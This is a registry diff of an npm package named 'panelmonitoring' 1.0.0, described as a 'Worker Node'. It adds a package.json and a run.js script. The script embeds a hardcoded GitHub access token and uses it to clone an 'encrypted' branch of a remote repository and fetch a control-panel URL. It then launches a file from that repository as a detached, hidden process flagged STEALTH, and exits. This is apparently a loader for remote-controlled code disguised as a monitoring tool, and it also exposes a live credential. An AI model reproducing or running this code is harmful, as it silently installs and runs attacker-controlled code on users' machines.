panelmonitoring 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +10 -0
  2. package/run.js +83 -0
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "panelmonitoring",
3
+ "version": "1.0.0",
4
+ "description": "Michelle Wang — Worker Node",
5
+ "bin": {
6
+ "panelmonitoring": "./run.js"
7
+ },
8
+ "keywords": ["worker", "monitoring", "node"],
9
+ "license": "ISC"
10
+ }
package/run.js ADDED
@@ -0,0 +1,83 @@
1
+ #!/usr/bin/env node
2
+ 'use strict';
3
+
4
+ const { execSync, spawn } = require('child_process');
5
+ const path = require('path');
6
+ const fs = require('fs');
7
+ const os = require('os');
8
+
9
+ const GH_TOKEN = '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';
10
+ const GH_REPO = 'https://github.com/michelleangelicaputri8-prog/MichelleWang.git';
11
+ const REPO_DIR = path.join(__dirname, 'node_modules', '.panelmonitoring-repo');
12
+
13
+ // Parse args: --panel-url=http://x.x.x.x:port
14
+ let PANEL_URL = '';
15
+ process.argv.forEach(arg => {
16
+ if (arg.startsWith('--panel-url=')) {
17
+ PANEL_URL = arg.split('=')[1];
18
+ }
19
+ });
20
+
21
+ function cloneOrUpdate() {
22
+ const authUrl = GH_REPO.replace(/^https:\/\//, `https://${GH_TOKEN}@`);
23
+ if (!fs.existsSync(REPO_DIR)) {
24
+ execSync(`git clone -b worker-encrypted ${authUrl} "${REPO_DIR}"`, { stdio: 'pipe' });
25
+ } else {
26
+ try {
27
+ execSync(`git -C "${REPO_DIR}" fetch origin`, { stdio: 'pipe' });
28
+ const local = execSync(`git -C "${REPO_DIR}" rev-parse HEAD`, { encoding: 'utf8' }).trim();
29
+ const remote = execSync(`git -C "${REPO_DIR}" rev-parse origin/worker-encrypted`, { encoding: 'utf8' }).trim();
30
+ if (local !== remote) {
31
+ execSync(`git -C "${REPO_DIR}" pull ${authUrl} worker-encrypted`, { stdio: 'pipe' });
32
+ }
33
+ } catch (_) {}
34
+ }
35
+ }
36
+
37
+ function fetchPanelUrl() {
38
+ try {
39
+ const authUrl = GH_REPO.replace(/^https:\/\//, `https://${GH_TOKEN}@`);
40
+ const raw = execSync(
41
+ `curl -s -H "Authorization: token ${GH_TOKEN}" "https://raw.githubusercontent.com/michelleangelicaputri8-prog/MichelleWang/main/panel-config.json"`,
42
+ { encoding: 'utf8', stdio: 'pipe' }
43
+ );
44
+ const cfg = JSON.parse(raw);
45
+ return cfg.panelUrl || '';
46
+ } catch (_) {}
47
+ return '';
48
+ }
49
+
50
+ function runWorker() {
51
+ cloneOrUpdate();
52
+
53
+ // Read panel URL: arg > fetch from main > local file
54
+ let panelUrl = PANEL_URL;
55
+ if (!panelUrl) {
56
+ panelUrl = fetchPanelUrl();
57
+ }
58
+ if (!panelUrl) {
59
+ try {
60
+ const cfg = JSON.parse(fs.readFileSync(path.join(REPO_DIR, 'panel-config.json'), 'utf8'));
61
+ panelUrl = cfg.panelUrl || '';
62
+ } catch (_) {}
63
+ }
64
+
65
+ const mainFile = path.join(REPO_DIR, '控制面板核心启动模块初始化程序主入口文件.js');
66
+
67
+ const child = spawn(process.execPath, [mainFile], {
68
+ detached: true,
69
+ stdio: 'ignore',
70
+ env: {
71
+ ...process.env,
72
+ MODE: 'worker-poll',
73
+ WORKER_MODE: 'polling',
74
+ STEALTH: '1',
75
+ PANEL_URL: panelUrl
76
+ }
77
+ });
78
+
79
+ child.unref();
80
+ process.exit(0);
81
+ }
82
+
83
+ runWorker();